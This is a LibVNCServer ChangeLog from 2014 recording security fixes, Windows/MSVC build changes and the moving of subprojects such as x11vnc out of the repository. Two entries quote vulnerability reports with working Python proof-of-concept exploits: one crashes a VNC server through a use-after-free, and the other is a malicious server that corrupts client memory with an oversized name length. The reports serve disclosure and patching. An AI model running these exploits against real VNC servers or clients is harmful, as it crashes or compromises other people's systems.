1 2014-10-21 Christian Beier <dontmind (a] freeshell.org> 2 3 * NEWS: Update NEWS. 4 5 2014-10-21 Christian Beier <dontmind (a] freeshell.org> 6 7 * libvncserver/sockets.c: Update comments regarding 8 rfbClientConnectionGone(). 9 10 2014-10-21 Christian Beier <dontmind (a] freeshell.org> 11 12 * libvncserver/scale.c: Fix Use-After-Free vulnerability in 13 LibVNCServer wrt scaling. Reported by Ken Johnson <Ken.Johnson1 (a] telus.com>. The vulnerability would occur in both the rfbPalmVNCSetScaleFactor 14 and rfbSetScale cases in the rfbProcessClientNormalMessage function 15 of rfbserver.c. Sending a valid scaling factor is required 16 (non-zero) if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not 17 accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, 18 sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n", 19 msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, 20 cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); << This is the call that can trigger 21 a free. return; at the end, both cases there is a call the rfbSendNewScaleSize 22 function, where if the connection is subsequently disconnected after 23 sending the VNC scaling message can lead to a free occurring. else { rfbResizeFrameBufferMsg rmsg; rmsg.type = rfbResizeFrameBuffer; rmsg.pad1=0; rmsg.framebufferWidth = 24 Swap16IfLE(cl->scaledScreen->width); rmsg.framebufferHeigth 25 = Swap16IfLE(cl->scaledScreen->height); rfbLog("Sending a response 26 to a UltraVNC style frameuffer resize event (%dx%d)\n", 27 cl->scaledScreen->width, cl->scaledScreen->height); if 28 (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) { 29 rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); rfbClientConnectionGone(cl); << Call which may can lead 30 to a free. return FALSE; } } return TRUE; Once this function returns, eventually rfbClientConnectionGone is 31 called again on the return from rfbProcessClientNormalMessage. In 32 KRFB server this leads to an attempt to access client->data. POC script to trigger the vulnerability: ---snip--- import socket,binascii,struct,sys from time import sleep class RFB: INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a" AUTH_NO_PASS = "\x01" AUTH_PASS = "\x02" SHARE_DESKTOP = "\x01" def AUTH_PROCESS(self,data,flag): if flag == 0: # Get security types secTypeCount = data[0] secType = {} for i in range(int(len(secTypeCount))): secType[i] = data[1] return secType elif flag == 1: # Get auth result # 0 means auth success # 1 means failure return data[3] def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD): try: from Crypto.Cipher import DES except: print "Error importing crypto. Please fix or do not 33 require authentication" sys.exit(1) if len(PASSWORD) != 8: PASSWORD = PASSWORD.ljust(8, '\0') PASSWORD_SWAP = 34 35 [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]PASSWORD = 36 37 38 39 (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))crypto = DES.new(PASSWORD) return crypto.encrypt(data) def reverse_bits(self,x): a=0 for i in range(8): a += ((x>>i)&1)<<(7-i) return a def main(argv): print "Proof of Concept" print "Copyright TELUS Security Labs" print "All Rights Reserved.\n" try: HOST = sys.argv[1] PORT = int(sys.argv[2]) except: print "Usage: python setscale_segv_poc.py <host> <port> 40 [password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occured.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap--- 41 42 2014-10-14 dscho <johannes.schindelin (a] gmx.de> 43 44 * : Merge pull request #43 from maksqwe/fix_rfbSelectBox Fix selData.buttonWidth calculation 45 46 2014-10-10 Christian Beier <dontmind (a] freeshell.org> 47 48 * libvncclient/rfbproto.c: Fix possible libvncclient ServerInit 49 memory corruption. This fixes the following oCERT report (oCERT-2014-008 pt.2): There is a similar vulnerability to the previous one I sent. This is 50 related to the ServerInit message where the width, the height of the 51 server's framebuffer, its pixel format, and the name are sent to the 52 client. The name can be used in a malicious manner to trigger a 53 memory corruption in the client. Field Size --------------------------------- name-length 54 [4] name-string [name-length] Below you will find a PoC script to show the vulnerability. This was 55 tested on Fedora 20 with the latest version of krdc. I have noticed something, where the memory corruption causes the 56 program to hang but allows you to try to disconnect. After this it 57 hangs. Occasionally there will be segmentation fault in memcpy. This 58 can become more reliable if you connect to a different VNC server 59 first (Or the wrong port on the malicious server) then connecting to 60 the malicious port. Every time I accidentally made the wrong VNC 61 connection attempt the next time I connected it segfault'd. Just run the script it will listen on port 5900 and connect to it 62 with krdc for example. I have observed Remmina crash more reliably. import socket,struct,sys HOST = "" PORT = 5900 c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 63 c.bind((HOST,PORT)) c.listen(1) conn,addr = c.accept() print "Connected by ", addr protocolVersion3008 = 64 "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a" 65 conn.send(protocolVersion3008) data = conn.recv(1024) # Receive the version from them. secTypeNone = "\x01\x01" secTypeAuth = "\x01\x02" 66 conn.send(secTypeNone) data = conn.recv(1024) # Receive the secType choice from them. secResultOk = "\x00" * 4 secResultNo = "\x00\x00\x00\x01" 67 conn.send(secResultOk) data = conn.recv(1024) # Receive the ClientInit (Shared-flag). frameBufferWidth = 0x0480 frameBufferHeight = 0x0360 bitsPerPixel = 68 0x20 depth = 0x18 bigEndian = 0x1 trueColor = 0x0 redM = 0x0 greenM 69 = 0x0 blueM = 0x0 redS = 0x0 greenS = 0x0 blueS = 0x0 padding = 70 "\x00\x00\x00" nameLength = 0xffffffff nameString = "AA" * 0xFFFF + 71 "\x00\x0a" conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, 72 frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, 73 greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", 74 nameLength) + nameString ) c.close() 75 76 2014-10-10 Christian Beier <dontmind (a] freeshell.org> 77 78 * libvncclient/sockets.c: Fix potential memory corruption in 79 libvncclient. Fixes (maybe amongst others) the following oCERT report 80 ([oCERT-2014-008]): LibVNCServer HandleRFBServerMessage rfbServerCutText malicious 81 msg.sct.length It looks like there may be a chance for potential memory corruption 82 when a LibVNCServer client attempts to process a Server Cut Text 83 message. case rfbServerCutText: { char *buffer; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbServerCutTextMsg - 1)) return FALSE; msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); << 84 Retrieve malicious length buffer = malloc(msg.sct.length+1); << Allocate buffer. Can 85 return 0x0 if (!ReadFromRFBServer(client, buffer, msg.sct.length)) << 86 Attempt to write to buffer return FALSE; buffer[msg.sct.length] = 0; << Attempt to write to buffer if (client->GotXCutText) client->GotXCutText(client, buffer, msg.sct.length); << 87 Attempt to write to buffer free(buffer); break; } If a message is provided with an extremely large size it is possible 88 to cause the malloc to fail, further leading to an attempt to write 89 0x0. 90 91 2014-10-09 Christian Beier <dontmind (a] freeshell.org> 92 93 * NEWS: Update NEWS for 0.9.10. 94 95 2014-10-09 Christian Beier <dontmind (a] freeshell.org> 96 97 * AUTHORS: Update AUTHORS. 98 99 2014-10-07 dscho <johannes.schindelin (a] gmx.de> 100 101 * : Merge pull request #42 from LibVNC/autotools-fix-revisited Add autoconf macros that might not be installed with a usual 102 autotools setup 103 104 2014-10-07 Johannes Schindelin <johannes.schindelin (a] gmx.de> 105 106 * autogen.sh: Add back a working autogen.sh There was no reason to get rid of the convenient script. Most 107 developers who are not in love with autoconf fail to remember that 108 autoreconf invocation, therefore it is better to have something 109 working in place. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 110 111 2014-09-01 Nicolas Ruff <nruff (a] google.com> 112 113 * libvncserver/rfbserver.c: Fix stack-based buffer overflow There was a possible buffer overflow in rfbFileTransferOffer message 114 when processing the FileTime. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 115 116 2014-10-07 dscho <johannes.schindelin (a] gmx.de> 117 118 * : Merge pull request #41 from newsoft/master Fixing 2 security issues 119 120 2014-10-06 newsoft <newsoft (a] gmx.fr> 121 122 * libvncserver/scale.c: Make sure that no integer overflow could 123 occur during scaling 124 125 2014-10-06 Christian Beier <dontmind (a] freeshell.org> 126 127 * libvncclient/Makefile.am: Add libvncclient/h264.c to dist tarball. Otherwise the sources from a 'make dist' package wouldn't compile. 128 129 2014-10-03 Christian Beier <dontmind (a] freeshell.org> 130 131 * m4/.gitignore: Really add empty m4 subdirectory. This change kinda got lost with the last commit re-splitting. 132 133 2014-10-02 Christian Beier <dontmind (a] freeshell.org> 134 135 * : Merge pull request #38 from LibVNC/autotools-fix-revisited Autotools fix revisited. 136 137 2014-10-02 Christian Beier <dontmind (a] freeshell.org> 138 139 * webclients/novnc/LICENSE.txt, webclients/novnc/README.md, 140 webclients/novnc/include/base.css, 141 webclients/novnc/include/base64.js, 142 webclients/novnc/include/black.css, 143 webclients/novnc/include/blue.css, 144 webclients/novnc/include/chrome-app/tcp-client.js, 145 webclients/novnc/include/des.js, 146 webclients/novnc/include/display.js, 147 webclients/novnc/include/input.js, 148 webclients/novnc/include/jsunzip.js, 149 webclients/novnc/include/keyboard.js, 150 webclients/novnc/include/keysym.js, 151 webclients/novnc/include/keysymdef.js, 152 webclients/novnc/include/playback.js, 153 webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js, 154 webclients/novnc/include/util.js, 155 webclients/novnc/include/web-socket-js/web_socket.js, 156 webclients/novnc/include/websock.js, 157 webclients/novnc/include/webutil.js, webclients/novnc/vnc.html, 158 webclients/novnc/vnc_auto.html: Update noVNC HTML5 client to latest 159 version from https://github.com/kanaka/noVNC. 160 161 2014-09-21 Brian Bidulock <bidulock (a] openss7.org> 162 163 * .gitignore: add a few more ignores 164 165 2014-09-21 Brian Bidulock <bidulock (a] openss7.org> 166 167 * autogen.sh: removed autogen.sh - no longer applicable: use autoreconf -fiv 168 169 2014-10-02 Christian Beier <dontmind (a] freeshell.org> 170 171 * INSTALL, acinclude.m4, ltmain.sh: Remove autotools-related files 172 that will get installed by autoreconf -i. 173 174 2014-10-02 Brian Bidulock <bidulock (a] openss7.org> 175 176 * Makefile.am, configure.ac: Use an m4 script subdirectory, fix 177 automake init and two macro names. 178 179 2014-10-02 Brian Bidulock <bidulock (a] openss7.org> 180 181 * client_examples/Makefile.am, examples/Makefile.am, 182 examples/android/Makefile.am, libvncclient/Makefile.am, 183 libvncserver/Makefile.am, test/Makefile.am: Rename obsolete INCLUDES 184 to AM_CPPFLAGS 185 186 2014-09-30 Johannes Schindelin <johannes.schindelin (a] gmx.de> 187 188 * libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c: 189 Close unclosed comments ;-) Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 190 191 2014-09-30 dscho <johannes.schindelin (a] gmx.de> 192 193 * : Merge pull request #36 from danielgindi/master A forgotten `#ifdef WIN32` broke UNIX build. 194 195 2014-09-30 dscho <johannes.schindelin (a] gmx.de> 196 197 * : Merge pull request #33 from danielgindi/master More MSVC adjustments, now focuses on the libvncserver 198 199 2014-09-20 Daniel Cohen Gindi <danielgindi (a] gmail.com> 200 201 * libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c: 202 These are UNIX headers, and are not available on MSVC 203 204 2014-09-20 Daniel Cohen Gindi <danielgindi (a] gmail.com> 205 206 * rfb/rfb.h: Those are generally the windows headers, not just MinGW 207 208 2014-09-20 Daniel Cohen Gindi <danielgindi (a] gmail.com> 209 210 * libvncserver/rfbserver.c: On windows, use the Win32 calls for 211 directory enumerations. We also do not need the conversion between UNIX values to Windows 212 values in the RTF_FIND_DATA struct, as we already are on windows. 213 214 2014-09-20 Daniel Cohen Gindi <danielgindi (a] gmail.com> 215 216 * libvncserver/httpd.c, libvncserver/rfbserver.c, 217 libvncserver/sockets.c, rfb/rfbclient.h: Generally adjusting headers 218 for compiling on windows without the mixing of Winsock 1 and 2. 219 220 2014-09-20 Daniel Cohen Gindi <danielgindi (a] gmail.com> 221 222 * libvncserver/rfbserver.c: Just use a macro to bridge to the Win32 223 version of `mkdir` The additional compat_mkdir function was not necessary at all. 224 225 2014-09-20 Daniel Cohen Gindi <danielgindi (a] gmail.com> 226 227 * compat/msvc/sys/time.h: Use correct `winsock2.h` version header 228 instead of winsock.h. `windows.h` is referring to `winsock.h` (unless the 229 `WIN32_LEAN_AND_MEAN` is defined). The structs used in this header 230 are defined in `winsock2.h` or in `winsock.h`, but we are using 231 Winsock2 of course! So we have to include winsock2.h and refrain 232 from including windows.h here 233 234 2014-09-20 Daniel Cohen Gindi <danielgindi (a] gmail.com> 235 236 * libvncserver/httpd.c, libvncserver/rfbserver.c, 237 libvncserver/sockets.c: Fixed a violation of the C89 standard 238 ("declarations must come before instructions") 239 240 2014-09-20 Daniel Cohen Gindi <danielgindi (a] gmail.com> 241 242 * libvncserver/tightvnc-filetransfer/filetransfermsg.c: A windows 243 version for directory enumerations Basically taken from https://github.com/danielgindi/FileDir with 244 some adjustments 245 246 2014-09-20 Daniel Cohen Gindi <danielgindi (a] gmail.com> 247 248 * libvncserver/tightvnc-filetransfer/filetransfermsg.c: MSVC also 249 has the __FUNCTION__ predefined 250 251 2014-09-20 Daniel Cohen Gindi <danielgindi (a] gmail.com> 252 253 * libvncserver/tightvnc-filetransfer/filetransfermsg.c, 254 libvncserver/tightvnc-filetransfer/filetransfermsg.h: 255 `CreateDirectory` might clash with the 256 `CreateDirectoryA`/`CreateDirectoryW` macros on MSVC 257 258 2014-09-20 Daniel Cohen Gindi <danielgindi (a] gmail.com> 259 260 * libvncserver/tightvnc-filetransfer/filetransfermsg.c: Fail when 261 NULL is passed to CreateFileListInfo() Passing NULL to sprintf() would most likely crash the program. 262 263 2014-09-20 Daniel Cohen Gindi <danielgindi (a] gmail.com> 264 265 * libvncclient/rfbproto.c, libvncclient/vncviewer.c, 266 libvncserver/rfbserver.c, libvncserver/sockets.c, 267 libvncserver/stats.c, libvncserver/websockets.c: `strings.h` and 268 `resolv.h` are not available on MSVC, and some POSIX functions are 269 renamed or deprecated For all of those missing/deprecated POSIX functions, we just add a 270 macro mapping to the _underscored version of MSVC. 271 272 2014-09-09 Christian Beier <dontmind (a] freeshell.org> 273 274 * client_examples/Makefile.am: The HAVE_X11 define is not there 275 anymore, but we don't need it either. 276 277 2014-09-09 Christian Beier <dontmind (a] freeshell.org> 278 279 * Makefile.am, configure.ac, vncterm/ChangeLog, vncterm/LinuxVNC.c, 280 vncterm/Makefile.am, vncterm/README, vncterm/TODO, 281 vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h, 282 vncterm/example.c, vncterm/vga.h: Move vncterm to 283 https://github.com/LibVNC/vncterm. 284 285 2014-09-09 Christian Beier <dontmind (a] freeshell.org> 286 287 * VisualNaCro/.gitignore, VisualNaCro/AUTHORS, 288 VisualNaCro/ChangeLog, VisualNaCro/Makefile.am, VisualNaCro/NEWS, 289 VisualNaCro/README, VisualNaCro/autogen.sh, 290 VisualNaCro/configure.ac, VisualNaCro/default8x16.h, 291 VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: 292 Move VisualNaCro to https://github.com/LibVNC/VisualNaCro. 293 294 2014-09-09 Christian Beier <dontmind (a] freeshell.org> 295 296 * prepare_x11vnc_dist.sh: Move prepare_x11vnc_dist.sh over to x11vnc 297 repo. 298 299 2014-09-03 Christian Beier <dontmind (a] freeshell.org> 300 301 * Makefile.am, configure.ac: Remove x11vnc from autotools build 302 system. 303 304 2014-09-03 Christian Beier <dontmind (a] freeshell.org> 305 306 * tightvnc-1.3dev5-vncviewer-alpha-cursor.patch: Remove 307 tightvnc-1.3dev5-vncviewer-alpha-cursor.patch. 308 309 2014-09-03 Christian Beier <dontmind (a] freeshell.org> 310 311 * x11vnc/.cvsignore, x11vnc/8to24.c, x11vnc/8to24.h, 312 x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, 313 x11vnc/RELEASE-NOTES, x11vnc/allowed_input_t.h, x11vnc/appshare.c, 314 x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/blackout_t.h, 315 x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/connections.c, 316 x11vnc/connections.h, x11vnc/cursor.c, x11vnc/cursor.h, 317 x11vnc/enc.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h, 318 x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h, 319 x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c, 320 x11vnc/linuxfb.h, x11vnc/macosx.c, x11vnc/macosx.h, 321 x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c, 322 x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, 323 x11vnc/macosx_opengl.c, x11vnc/macosx_opengl.h, 324 x11vnc/misc/.cvsignore, x11vnc/misc/LICENSE, 325 x11vnc/misc/Makefile.am, x11vnc/misc/README, x11vnc/misc/Xdummy, 326 x11vnc/misc/blockdpy.c, x11vnc/misc/connect_switch, 327 x11vnc/misc/desktop.cgi, x11vnc/misc/dtVncPopup, 328 x11vnc/misc/enhanced_tightvnc_viewer/COPYING, 329 x11vnc/misc/enhanced_tightvnc_viewer/README, 330 x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, 331 x11vnc/misc/enhanced_tightvnc_viewer/Windows/sshvnc.bat, 332 x11vnc/misc/enhanced_tightvnc_viewer/Windows/tsvnc.bat, 333 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, 334 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/esound/downl 335 oad.url, 336 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/down 337 load.url, 338 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/loca 339 tion.url, 340 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/downlo 341 ad.url, 342 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/licenc 343 e.url, 344 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/down 345 load.url, 346 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca 347 tion.url, 348 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/do 349 wnload.url, 350 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/lo 351 cation.url, 352 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-client.co 353 nf, 354 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-server.co 355 nf, 356 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/w98/location.url, 357 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/.cp 358 over, 359 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc 360 viewer.sh, 361 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.i386/.cpover, 362 x11vnc/misc/enhanced_tightvnc_viewer/bin/sshvnc, 363 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 364 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 365 x11vnc/misc/enhanced_tightvnc_viewer/bin/tsvnc, 366 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 367 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 368 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf, 369 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 370 x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt, 371 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, 372 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 373 x11vnc/misc/enhanced_tightvnc_viewer/src/README, 374 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/README, 375 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 376 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, 377 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_vncpatchapplied, 378 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa 379 tch, 380 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 381 ll.patch, 382 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 383 llscreen.patch, 384 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne 385 wfbsize.patch, 386 x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README, 387 x11vnc/misc/enhanced_tightvnc_viewer/ssvnc.desktop, 388 x11vnc/misc/inet6to4, x11vnc/misc/panner.pl, 389 x11vnc/misc/qt_tslib_inject.pl, x11vnc/misc/ranfb.pl, 390 x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/misc/shm_clear, 391 x11vnc/misc/slide.pl, x11vnc/misc/turbovnc/Makefile.am, 392 x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc, 393 x11vnc/misc/turbovnc/convert, 394 x11vnc/misc/turbovnc/convert_rfbserver, 395 x11vnc/misc/turbovnc/tight.c, x11vnc/misc/turbovnc/turbojpeg.h, 396 x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/misc/uinput.pl, 397 x11vnc/misc/ultravnc_repeater.pl, x11vnc/misc/vcinject.pl, 398 x11vnc/misc/x11vnc_loop, x11vnc/misc/x11vnc_pw, x11vnc/nox11.h, 399 x11vnc/nox11_funcs.h, x11vnc/options.c, x11vnc/options.h, 400 x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c, 401 x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c, 402 x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c, 403 x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c, 404 x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h, 405 x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/sslhelper.c, 406 x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc, 407 x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h, 408 x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, 409 x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c, 410 x11vnc/util.h, x11vnc/v4l.c, x11vnc/v4l.h, x11vnc/win_utils.c, 411 x11vnc/win_utils.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1, 412 x11vnc/x11vnc.c, x11vnc/x11vnc.desktop, x11vnc/x11vnc.h, 413 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, 414 x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c, 415 x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h, 416 x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c, 417 x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: Remove 418 x11vnc subdir. The new x11vnc repo is at https://github.com/LibVNC/x11vnc. 419 420 2014-09-02 Johannes Schindelin <johannes.schindelin (a] gmx.de> 421 422 * libvncclient/tls_openssl.c: Fix tv_usec calculation This bug was introduced in the MSVC patches. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 423 424 2014-08-29 Daniel Cohen Gindi <danielgindi (a] gmail.com> 425 426 * libvncclient/tls_openssl.c: Use Windows' critical sections to 427 emulate pthread's mutexes With Microsoft Visual C++, we cannot use pthreads (MinGW sports an 428 emulation library which is the reason we did not need 429 Windows-specific hacks earlier). Happily, it is very easy to provide 430 Windows-specific emulations for the pthread calls we use. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 431 432 2014-08-29 Daniel Cohen Gindi <danielgindi (a] gmail.com> 433 434 * libvncclient/zrle.c: Perform pointer arithmetic on char * instead 435 of void * Microsoft Visual C++ does not allow pointer arithmetic on void 436 pointers. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 437 438 2014-08-29 Daniel Cohen Gindi <danielgindi (a] gmail.com> 439 440 * libvncclient/tls_openssl.c, rfb/rfbproto.h: MSVC: Use the Unix 441 emulation headers [JES: provided commit message, split out unrelated changes] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 442 443 2014-08-29 Daniel Cohen Gindi <danielgindi (a] gmail.com> 444 445 * libvncclient/listen.c, libvncclient/sockets.c, 446 libvncclient/vncviewer.c: Use WIN32 for Windows-specific #ifdef 447 guards To support Microsoft Visual C++, we must not guard Windows-specific 448 code in MinGW-specific #ifdef guards. Happily, even 64-bit MSVC defines the WIN32 constant, therefore we 449 can use that instead. [JES: fixed commit message, reordered commit, split out unrelated 450 changes] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 451 452 2014-08-29 Daniel Cohen Gindi <danielgindi (a] gmail.com> 453 454 * compat/msvc/stdint.h, compat/msvc/sys/time.h, 455 compat/msvc/unistd.h: Add MSVC compatible unix headers The stdint.h file was copied from: 456 https://runexe.googlecode.com/svn-history/r9/trunk/src/runlib/msstdint.h(we can incorporate it because it is licensed under the 3-clause BSD 457 license.) [JES: fixed commit message, fixed stripped copyright header] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 458 459 2014-09-01 Daniel Cohen Gindi <danielgindi (a] gmail.com> 460 461 * libvncclient/rfbproto.c, libvncclient/sockets.c, 462 libvncclient/tls_openssl.c: MSVC: Use _snprintf instead of snprintf In Microsoft's Visual C runtime, the snprintf() function is actually 463 called _snprintf. Let's just #define the former to call the latter. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 464 465 2014-09-01 Daniel Cohen Gindi <danielgindi (a] gmail.com> 466 467 * rfb/rfbproto.h: Use correct winsock header We link to ws2_32.lib which corresponds to the winsock2.h header, 468 not the winsock.h header. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 469 470 2014-08-29 Daniel Cohen Gindi <danielgindi (a] gmail.com> 471 472 * libvncclient/vncviewer.c: Include Winsock2 header before windows.h 473 include That's because there are duplicate #defines, and when Winsock2 is 474 defined before windows.h then windows.h detects that and prevent 475 redefinition. See 476 477 http://social.msdn.microsoft.com/Forums/windowsdesktop/en-US/4a90b143-1fb8-43e9-a54c-956127e0c579/windowsh-and-winsock2h?forum=windowssdk[JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 478 479 2014-09-01 Daniel Cohen Gindi <danielgindi (a] gmail.com> 480 481 * libvncclient/tls_openssl.c: Remove unused variables This change is technically not required to support MSVC, but it was 482 detected by Microsoft's compiler. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 483 484 2014-08-26 dscho <johannes.schindelin (a] gmx.de> 485 486 * : Merge pull request #21 from newsoft/master Fixing two more security issues (remote server crash) 487 488 2014-08-18 Nicolas Ruff <nruff (a] google.com> 489 490 * libvncserver/rfbserver.c: Check malloc() return value on 491 client->server ClientCutText message. Client can send up to 2**32-1 492 bytes of text, and such a large allocation is likely to fail in case 493 of high memory pressure. This would in a server crash (write at 494 address 0). 495 496 2014-08-16 dscho <johannes.schindelin (a] gmx.de> 497 498 * : Merge pull request #16 from sandsmark/master Merge patches from KDE/krfb 499 500 2014-08-16 Johannes Schindelin <johannes.schindelin (a] gmx.de> 501 502 * acinclude.m4: Fix whitespace Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 503 504 2014-08-10 Luca Falavigna <dktrkranz (a] debian.org> 505 506 * acinclude.m4: Enable support for ppc64el architecture 507 508 2014-08-10 Luca Falavigna <dktrkranz (a] debian.org> 509 510 * 